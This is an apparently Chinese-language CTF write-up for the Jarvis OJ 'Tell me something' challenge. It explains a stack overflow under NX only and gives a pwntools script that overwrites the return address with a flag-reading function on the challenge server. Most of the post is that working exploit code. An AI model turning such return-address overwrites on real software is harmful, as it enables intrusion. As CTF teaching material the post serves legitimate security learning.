Jarvis OJ---Tell me something

这是一个简单的栈溢出,这个程序只开启了NX防御机制,在IDA反汇编之后,可以看到一个flag.txt的文件,进去之后我们可以看到在函数goodgame之中调用了fopen函数,来打开flag文件

image.png

所以我们直接控制将返回的地址覆盖为goodgame的地址。

from pwn import *
debug = False
local = False
x86 = False
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./guestbook')
else:
    p = remote('pwn.jarvisoj.com',9876)

goodgame = 0x0400620
payload = 'a'*0x88 + p64(goodgame) 
p.recvuntil(":")
p.sendline(payload)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 12,390评论 0 27
  • 8086汇编 本笔记是笔者观看小甲鱼老师(鱼C论坛)《零基础入门学习汇编语言》系列视频的笔记,在此感谢他和像他一样...
    Gibbs基阅读 37,755评论 8 114
  • ×00 0CTF 『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CT...
    tmdsb38阅读 8,020评论 0 4
  • *面试心声:其实这些题本人都没怎么背,但是在上海 两周半 面了大约10家 收到差不多3个offer,总结起来就是把...
    Dove_iOS阅读 27,396评论 30 472
  • 一个人天马行空 一个人山高水长 谁的冷酷曾染湿了你的岁月 谁的相随又温暖了你的白发 我愿从 你的柔情中出逃 像满天...
    山月笛阅读 1,553评论 0 6

友情链接更多精彩内容